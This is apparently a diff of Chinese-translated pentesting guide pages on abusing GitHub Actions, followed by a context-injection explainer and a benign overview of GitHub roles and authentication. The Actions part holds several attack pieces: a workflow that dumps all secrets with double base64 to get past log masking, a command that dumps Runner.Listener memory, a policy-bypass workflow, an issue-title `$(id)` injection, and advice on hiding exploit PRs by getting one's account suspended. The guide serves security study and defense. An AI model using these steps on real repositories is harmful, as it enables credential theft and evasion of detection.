工作流可以使用**来自其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**:
|
||||
Workflows 可能会使用 **来自其他 workflows 甚至 repos 的 artifacts**。如果攻击者设法 compromise 了上传 artifact 的 Github Action,而该 artifact 随后被另一个 workflow 使用,那么攻击者就可以 compromise 其他 workflows:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## 从操作后的利用
|
||||
## Post Exploitation from an Action
|
||||
|
||||
### 通过OIDC访问AWS和GCP
|
||||
### Github Action Policies Bypass
|
||||
|
||||
查看以下页面:
|
||||
正如 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) 所述,即使一个 repository 或 organization 有策略限制某些 actions 的使用,攻击者也可以在 workflow 中下载(`git clone`)该 action 的代码,然后将其作为 local action 来引用。由于策略不影响 local paths,**the action will be executed without any restriction.**
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### 通过 OIDC 访问 AWS 和 GCP
|
||||
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### 访问秘密 <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### 访问 secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
如果你正在向脚本中注入内容,了解如何访问秘密是很有趣的:
|
||||
如果你将内容注入脚本,了解如何访问 secrets 会很有帮助:
|
||||
|
||||
- 如果秘密或令牌被设置为**环境变量**,可以通过环境直接使用**`printenv`**访问。
|
||||
- 如果 secret 或 token 被设置为 **环境变量**,可以通过环境直接使用 **`printenv`** 访问。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>在Github Action输出中列出秘密</summary>
|
||||
<summary>在 Github Action 输出中列出 secrets</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>通过秘密获取反向 shell</summary>
|
||||
<summary>使用 secrets 获取 reverse shell</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- 如果秘密**直接在表达式中使用**,生成的 shell 脚本将存储在**磁盘上**并可访问。
|
||||
- 如果 secret 被 **直接用于表达式**,生成的 shell 脚本会被**保存在磁盘上**并可访问。
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- 对于 JavaScript actions,秘密通过环境变量发送
|
||||
- 对于 JavaScript actions,secrets 会通过环境变量传递
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- 对于**自定义操作**,风险可能会有所不同,具体取决于程序如何使用从**参数**中获得的秘密:
|
||||
- 对于 **custom action**,风险取决于程序如何使用它从 **argument** 获取的 secret:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,27 +542,51 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### 滥用自托管运行器
|
||||
- 通过 secrets context 列举所有 secrets(合作者级别)。具有 write 访问权限的贡献者可以在任意分支修改 workflow 来导出所有 repository/org/environment 的 secrets。使用双重 base64 绕过 GitHub 的日志掩码并在本地解码:
|
||||
|
||||
查找**在非 GitHub 基础设施中执行的 GitHub Actions**的方法是搜索 GitHub Action 配置 yaml 中的**`runs-on: self-hosted`**。
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
**自托管**运行器可能访问**额外的敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。
|
||||
Decode locally:
|
||||
|
||||
在自托管运行器中,还可以通过转储其内存来获取**来自 \_Runner.Listener**\_\*\* 进程\*\* 的**秘密**,该进程将在任何步骤中包含工作流的所有秘密:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
|
||||
**Self-hosted** runners 可能可以访问 **额外的敏感信息**、其他 **网络系统**(网络中的易受攻击端点?metadata service?),或者即使它是隔离并销毁的,**多个 action 可能同时运行**,其中恶意的 action 可能**窃取其他 action 的 secrets**。
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
检查[**此帖子以获取更多信息**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
|
||||
查看 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker 镜像注册表
|
||||
### Github Docker Images 注册表
|
||||
|
||||
可以创建 Github actions 来 **在 Github 内部构建和存储 Docker 镜像**。\
|
||||
以下可找到一个示例:
|
||||
可以创建 Github actions,它们会 **build and store a Docker image inside Github**.\
|
||||
下面的可展开示例:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action 构建和推送 Docker 镜像</summary>
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
正如您在之前的代码中看到的,Github 注册表托管在 **`ghcr.io`**。
|
||||
正如你在上面的代码中看到的,Github registry 托管在 **`ghcr.io`**。
|
||||
|
||||
具有对仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像:
|
||||
具有仓库读取权限的用户随后将能够使用个人访问令牌下载该 Docker Image:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
然后,用户可以搜索 **Docker 镜像层中的泄露秘密:**
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Github Actions 日志中的敏感信息
|
||||
### Sensitive info in Github Actions logs
|
||||
|
||||
即使 **Github** 尝试 **检测操作日志中的秘密值** 并 **避免显示** 它们,**其他敏感数据** 在操作执行过程中生成的内容仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。
|
||||
即使 **Github** 试图在 actions 日志中 **检测 secret 值** 并 **避免显示** 它们,执行 action 时可能生成的 **其他敏感数据** 不会被隐藏。例如,用 secret 值签名的 JWT 不会被隐藏,除非它被 [专门配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)。
|
||||
|
||||
## 掩盖你的痕迹
|
||||
## Covering your Tracks
|
||||
|
||||
(来自 [**这里**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) 的技术)首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 **无法删除互联网上的 PR**,但有一个变数。对于被 Github **暂停** 的 GitHub 账户,所有的 **PR 会自动被删除** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub 账户被暂停或被标记**。这将 **隐藏你在 GitHub 上的所有活动**(基本上移除你所有的利用 PR)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 首先,任何发起的 PR 在 Github 上对公众和目标 GitHub 帐号都是可见的。默认情况下,在 GitHub 上我们**无法删除互联网上的 PR**,但这里有个窍门。对于被 Github **封禁** 的账号,其所有 **PRs 会被自动删除** 并从互联网上移除。因此为了隐藏你的活动,你需要让你的 **GitHub account 被封禁或被标记**。这将**隐藏你在 GitHub 上的所有活动**(基本上移除你所有的 exploit PR)。
|
||||
|
||||
GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些内容”,他们会确保你的账户在 12 小时内被暂停 :p 这样你就可以让你的利用在 GitHub 上变得不可见。
|
||||
在 GitHub 中,一个组织通常会非常积极地向 GitHub 举报帐号。你只需要在 Issue 中分享“某些内容”,他们就会确保在 12 小时内你的帐号被封禁 :p 这样一来,你的 exploit 在 github 上就变得不可见了。
|
||||
|
||||
> [!WARNING]
|
||||
> 组织发现自己被针对的唯一方法是通过 SIEM 检查 GitHub 日志,因为从 GitHub UI 中 PR 会被移除。
|
||||
> 组织唯一能发现他们已成为目标的方法是从 SIEM 检查 GitHub 日志,因为在 GitHub UI 中该 PR 会被移除。
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,3 +1,96 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 理解风险
|
||||
|
||||
GitHub Actions 会在步骤执行前渲染表达式 ${{ ... }}。渲染后的值会被粘贴到该步骤的程序中(对 run 步骤来说,是一个 shell 脚本)。如果你在 run: 中直接插入不受信任的输入,攻击者就能控制 shell 程序的一部分并执行任意命令。
|
||||
|
||||
文档: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
要点:
|
||||
- 渲染在执行之前发生。run 脚本会在所有表达式解析后生成,然后由 shell 执行。
|
||||
- 许多 contexts 根据触发事件包含用户可控字段(issues、PRs、comments、discussions、forks、stars 等)。参见 untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- 在 run: 中使用 shell 引号并不是可靠的防御,因为注入发生在模板渲染阶段。攻击者可以通过精心构造的输入跳出引号或注入操作符。
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
如果攻击者打开一个标题为 $(id) 的 issue,渲染后的步骤变为:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
命令替换会在 runner 上运行 id。示例输出:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions 会先被渲染,然后生成的脚本被执行。如果 untrusted value 包含 $(...), `;`, `"`/`'`,或换行符,它仍然能改变程序结构,绕过你的 quoting。
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
正确的缓解办法:将 untrusted input 复制到一个 environment variable 中,然后在 run script 中使用 native shell expansion ($VAR)。不要在命令中用 ${{ ... }} 重新嵌入。
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
注意:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## 可被读者触发的表面(视为不受信任)
|
||||
|
||||
对公共仓库只有只读权限的账户仍然可以触发许多事件。由这些事件派生的上下文中的任何字段都必须被视为由攻击者控制,除非另有证明。示例:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (如果滥用会很危险,会在基础仓库上下文中运行)
|
||||
- fork (任何人都可以 fork 公共 repos)
|
||||
- watch (starring a repo)
|
||||
- 间接通过 workflow_run/workflow_call 链
|
||||
|
||||
哪些具体字段由攻击者控制取决于事件。请参考 GitHub Security Lab 的不受信任输入指南: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## 实用建议
|
||||
|
||||
- 尽量减少在 run: 中使用表达式。优先使用 env: 映射 + $VAR。
|
||||
- 如果必须转换输入,请在 shell 中使用安全工具(printf %q, jq -r, 等),仍然以 shell 变量作为起点。
|
||||
- 在将分支名、PR 标题、用户名、标签、讨论标题和 PR head refs 插入到脚本、命令行标志或文件路径时要格外小心。
|
||||
- 对于 reusable workflows 和 composite actions,应用相同的模式:先映射到 env 然后引用 $VAR。
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,155 +1,156 @@
|
||||
# 基本的 Github 信息
|
||||
# 基本 Github 信息
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本结构
|
||||
|
||||
一个大 **公司** 的基本 github 环境结构是拥有一个 **企业**,该企业拥有 **多个组织**,每个组织可能包含 **多个代码库** 和 **多个团队**。较小的公司可能只 **拥有一个组织而没有企业**。
|
||||
大型 **公司** 的基本 github 环境结构通常是拥有一个 **enterprise**,该 **enterprise** 拥有 **若干 organizations**,每个 **organization** 可能包含 **若干 repositories** 和 **若干 teams**。较小的公司可能只 **拥有一个 organization 而没有 enterprise**。
|
||||
|
||||
从用户的角度来看,一个 **用户** 可以是 **不同企业和组织的成员**。在这些组织中,用户可能拥有 **不同的企业、组织和代码库角色**。
|
||||
从用户角度来看,**用户** 可以是 **不同 enterprise 和 organization 的成员**。在这些范围内,用户可能拥有 **不同的 enterprise、organization 和 repository 角色**。
|
||||
|
||||
此外,用户可能是 **不同团队的一部分**,并拥有不同的企业、组织或代码库角色。
|
||||
此外,用户也可能 **属于不同的 teams** 并在这些 team 中具有不同的 enterprise、organization 或 repository 角色。
|
||||
|
||||
最后,**代码库可能具有特殊的保护机制**。
|
||||
最后,**repositories 可能具有特殊的保护机制**。
|
||||
|
||||
## 权限
|
||||
|
||||
### 企业角色
|
||||
### Enterprise Roles
|
||||
|
||||
- **企业所有者**:拥有此角色的人可以 **管理管理员、管理企业内的组织、管理企业设置、在组织间强制执行政策**。然而,他们 **无法访问组织设置或内容**,除非他们被指定为组织所有者或获得对组织拥有的代码库的直接访问权限。
|
||||
- **企业成员**:由您的企业拥有的组织的成员也是 **自动成为企业成员**。
|
||||
- **Enterprise owner**:拥有此角色的人可以 **管理管理员、管理 enterprise 内的 organizations、管理 enterprise 设置、对 organizations 强制执行策略**。但是,除非他们被设置为 organization owner 或被授予对由 organization 拥有的仓库的直接访问权限,否则他们 **无法访问 organization 设置或内容**。
|
||||
- **Enterprise members**:由 enterprise 拥有的 organizations 的成员 **也会自动成为该 enterprise 的成员**。
|
||||
|
||||
### 组织角色
|
||||
### Organization Roles
|
||||
|
||||
在组织中,用户可以拥有不同的角色:
|
||||
在一个 organization 中,用户可以有不同的角色:
|
||||
|
||||
- **组织所有者**:组织所有者拥有 **对组织的完全管理访问权限**。此角色应限制,但不少于两人。
|
||||
- **组织成员**:组织中的 **默认** 非管理角色是组织成员。默认情况下,组织成员 **拥有一定数量的权限**。
|
||||
- **账单经理**:账单经理是可以 **管理组织的账单设置** 的用户,例如支付信息。
|
||||
- **安全经理**:这是组织所有者可以分配给组织中任何团队的角色。应用后,它赋予团队的每个成员权限,以 **管理组织内的安全警报和设置,以及对所有代码库的读取权限**。
|
||||
- 如果您的组织有安全团队,您可以使用安全经理角色为团队成员提供他们所需的最低访问权限。
|
||||
- **Github 应用程序经理**:为了允许其他用户 **管理组织拥有的 GitHub 应用程序**,所有者可以授予他们 GitHub 应用程序经理权限。
|
||||
- **外部合作者**:外部合作者是指 **访问一个或多个组织代码库但不是组织的明确成员** 的人。
|
||||
- **Organization owners**:Organization owners 对你的 organization 拥有 **完全的管理访问权限**。这个角色应当限制在较少人数,但组织中至少不应少于两人。
|
||||
- **Organization members**:对于 **organization 中的人**,默认的非管理角色是 organization member。默认情况下,organization members **拥有若干权限**。
|
||||
- **Billing managers**:Billing managers 是可以 **管理你 organization 的计费设置(例如付款信息)** 的用户。
|
||||
- **Security Managers**:这是 organization owners 可以分配给组织中某个团队的角色。应用该角色后,团队中的每个成员将获得 **管理整个 organization 的安全警报和设置的权限,以及对所有 repositories 的读取权限**。
|
||||
- 如果你的 organization 有一个 security team,你可以使用 security manager 角色来给予团队成员组织中最少的必要访问权限。
|
||||
- **Github App managers**:为了允许额外用户 **管理由 organization 拥有的 GitHub Apps**,owner 可以授予他们 GitHub App manager 权限。
|
||||
- **Outside collaborators**:outside collaborator 是对一个或多个 organization 仓库有 **访问权限但并非明确成为该 organization 成员** 的人。
|
||||
|
||||
您可以在此表中 **比较这些角色的权限**:[https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
你可以在此表中 **比较这些角色的权限**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### 成员权限
|
||||
|
||||
在 _https://github.com/organizations/\<org_name>/settings/member_privileges_ 中,您可以查看 **用户仅因成为组织的一部分而拥有的权限**。
|
||||
在 _https://github.com/organizations/\<org_name>/settings/member_privileges_ 可以看到 **用户仅因成为该组织一员而拥有的权限**。
|
||||
|
||||
此处配置的设置将指示组织成员的以下权限:
|
||||
|
||||
- 对所有组织代码库的管理员、写入、读取或无权限。
|
||||
- 成员是否可以创建私有、内部或公共代码库。
|
||||
- 是否可以对代码库进行分叉。
|
||||
- 是否可以邀请外部合作者。
|
||||
- 是否可以发布公共或私有网站。
|
||||
- 管理员对代码库的权限。
|
||||
- 成员是否可以创建新团队。
|
||||
- 对组织内所有仓库是否具有 admin、writer、reader 或无权限。
|
||||
- 成员是否可以创建 private、internal 或 public 仓库。
|
||||
- 是否允许 fork 仓库。
|
||||
- 是否可以邀请 outside collaborators。
|
||||
- 是否可以发布 public 或 private sites。
|
||||
- admins 在仓库上的权限。
|
||||
- 成员是否可以创建新 teams。
|
||||
|
||||
### 代码库角色
|
||||
### Repository Roles
|
||||
|
||||
默认情况下,创建的代码库角色有:
|
||||
默认情况下创建的 repository 角色有:
|
||||
|
||||
- **读取**:推荐给 **非代码贡献者**,希望查看或讨论您的项目。
|
||||
- **分类**:推荐给 **需要主动管理问题和拉取请求的贡献者**,但没有写入权限。
|
||||
- **写入**:推荐给 **积极推送到您的项目的贡献者**。
|
||||
- **维护**:推荐给 **需要管理代码库的项目经理**,但不需要访问敏感或破坏性操作。
|
||||
- **管理员**:推荐给需要 **对项目的完全访问权限** 的人,包括管理安全或删除代码库等敏感和破坏性操作。
|
||||
- **Read**:建议用于希望查看或讨论项目的 **非代码贡献者**。
|
||||
- **Triage**:建议用于需要在没有写权限的情况下 **主动管理 issues 和 pull requests 的贡献者**。
|
||||
- **Write**:建议用于 **积极向项目推送的贡献者**。
|
||||
- **Maintain**:建议用于 **需要管理仓库但不需要访问敏感或破坏性操作的项目经理**。
|
||||
- **Admin**:建议用于需要对项目 **完全访问权限** 的人员,包括管理安全或删除仓库等敏感和破坏性操作。
|
||||
|
||||
您可以在此表中 **比较每个角色的权限**:[https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
你可以在此表中 **比较每个角色的权限**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
您还可以在 _https://github.com/organizations/\<org_name>/settings/roles_ 中 **创建自己的角色**。
|
||||
你也可以在 _https://github.com/organizations/\<org_name>/settings/roles_ 创建你自己的角色。
|
||||
|
||||
### 团队
|
||||
### Teams
|
||||
|
||||
您可以在 _https://github.com/orgs/\<org_name>/teams_ 中 **列出组织中创建的团队**。请注意,要查看其他团队的子团队,您需要访问每个父团队。
|
||||
你可以在 _https://github.com/orgs/\<org_name>/teams/_ 列出 organization 中创建的 teams。注意,要查看作为其他 teams 子集的 teams,需要访问每个父 team。
|
||||
|
||||
### 用户
|
||||
### Users
|
||||
|
||||
组织的用户可以在 _https://github.com/orgs/\<org_name>/people_ 中 **列出**。
|
||||
organization 的用户可以在 _https://github.com/orgs/\<org_name>/people._ 列出。
|
||||
|
||||
在每个用户的信息中,您可以看到 **用户是哪些团队的成员**,以及 **用户可以访问哪些代码库**。
|
||||
在每个用户的信息中,你可以看到 **该用户所属的 teams**,以及 **该用户有权限访问的 repos**。
|
||||
|
||||
## Github 认证
|
||||
## Github Authentication
|
||||
|
||||
Github 提供不同的方式来验证您的帐户并代表您执行操作。
|
||||
Github 提供了不同方式来对你的账户进行身份验证并代表你执行操作。
|
||||
|
||||
### 网络访问
|
||||
### Web Access
|
||||
|
||||
访问 **github.com**,您可以使用 **用户名和密码**(以及 **可能的 2FA**)登录。
|
||||
访问 **github.com** 时,你可以使用 **用户名和密码**(以及可能的 **2FA**)登录。
|
||||
|
||||
### **SSH 密钥**
|
||||
### **SSH Keys**
|
||||
|
||||
您可以使用一个或多个公钥配置您的帐户,允许相关的 **私钥代表您执行操作**。[https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
你可以为你的账户配置一把或多把公钥,允许相关的 **私钥代表你执行操作**。[https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG 密钥**
|
||||
#### **GPG Keys**
|
||||
|
||||
您 **无法使用这些密钥冒充用户**,但如果您不使用它,可能会导致您 **被发现发送未签名的提交**。了解更多关于 [警惕模式的信息](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
|
||||
你 **不能用这些密钥冒充用户**,但如果你不使用它,可能会因为 **提交没有签名** 而被发现。更多关于 [vigilant mode 的信息请见此处](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
|
||||
|
||||
### **个人访问令牌**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
您可以生成个人访问令牌,以 **授予应用程序访问您的帐户**。创建个人访问令牌时,**用户**需要 **指定** 令牌将拥有的 **权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
你可以生成 personal access token 来 **赋予某个应用对你账户的访问权限**。在创建 personal access token 时,**用户** 需要 **指定 token 将拥有的权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth 应用程序
|
||||
### Oauth Applications
|
||||
|
||||
Oauth 应用程序可能会请求您 **访问部分 GitHub 信息或冒充您** 执行某些操作。此功能的一个常见示例是您可能在某些平台上找到的 **使用 GitHub 登录按钮**。
|
||||
Oauth applications 可能会请求权限以 **访问你的一部分 github 信息或冒充你执行某些操作**。一个常见示例是某些平台上的 **login with github 按钮**。
|
||||
|
||||
- 您可以在 [https://github.com/settings/developers](https://github.com/settings/developers) 中 **创建** 您自己的 **Oauth 应用程序**。
|
||||
- 您可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 中查看所有 **访问您帐户的 Oauth 应用程序**。
|
||||
- 您可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 中查看 **Oauth 应用程序可以请求的范围**。
|
||||
- 您可以在 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ 中查看 **组织中应用程序的第三方访问**。
|
||||
- 你可以在 [https://github.com/settings/developers](https://github.com/settings/developers) 创建你自己的 **Oauth applications**。
|
||||
- 你可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 查看所有 **已获得你账户访问权限的 Oauth applications**。
|
||||
- 你可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 查看 **Oauth Apps 可以请求的 scopes**。
|
||||
- 你可以在 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ 查看组织中应用的第三方访问情况。
|
||||
|
||||
一些 **安全建议**:
|
||||
|
||||
- **OAuth 应用程序** 应始终 **在 GitHub 的所有地方作为经过身份验证的 GitHub 用户操作**(例如,在提供用户通知时),并仅访问指定的范围。
|
||||
- OAuth 应用程序可以通过为经过身份验证的用户启用“使用 GitHub 登录”作为身份提供者。
|
||||
- **不要** 构建 **OAuth 应用程序**,如果您希望您的应用程序在 **单个代码库** 上操作。使用 `repo` OAuth 范围,OAuth 应用程序可以 **在所有** 经过身份验证的用户的代码库上操作。
|
||||
- **不要** 构建 OAuth 应用程序以作为您 **团队或公司的** 应用程序。OAuth 应用程序作为 **单个用户** 进行身份验证,因此如果一个人创建了一个供公司使用的 OAuth 应用程序,然后他们离开公司,其他人将无法访问它。
|
||||
- **更多** 信息在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)。
|
||||
- 一个 **OAuth App** 应始终 **以经过认证的 GitHub 用户身份在整个 GitHub 上行事**(例如,在提供用户通知时),并且仅访问指定的 scopes。
|
||||
- 通过为经过认证的用户启用“Login with GitHub”,OAuth App 可以用作身份提供者。
|
||||
- **不要** 为了让应用仅在 **单个仓库** 上操作而构建 OAuth App。使用 `repo` OAuth scope 时,OAuth Apps 可以 **对已认证用户的所有 repositories 进行操作**。
|
||||
- **不要** 构建 OAuth App 来作为你的 **团队或公司的应用**。OAuth Apps 以 **单个用户** 身份进行认证,因此如果某人创建了一个供公司使用的 OAuth App,然后该人离职,其他人将无法访问它。
|
||||
- 更多信息见 [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)。
|
||||
|
||||
### Github 应用程序
|
||||
### Github Applications
|
||||
|
||||
Github 应用程序可以请求权限以 **访问您的 GitHub 信息或冒充您** 执行特定操作。在 Github 应用程序中,您需要指定应用程序将访问的代码库。
|
||||
Github applications 可以请求权限以 **访问你的 github 信息或冒充你** 对特定资源执行特定操作。在 Github Apps 中,你需要指定应用将有权访问的 repositories。
|
||||
|
||||
- 要安装 GitHub 应用程序,您必须是 **组织所有者或在代码库中拥有管理员权限**。
|
||||
- GitHub 应用程序应 **连接到个人帐户或组织**。
|
||||
- 您可以在 [https://github.com/settings/apps](https://github.com/settings/apps) 中创建自己的 Github 应用程序。
|
||||
- 您可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 中查看所有 **访问您帐户的 Github 应用程序**。
|
||||
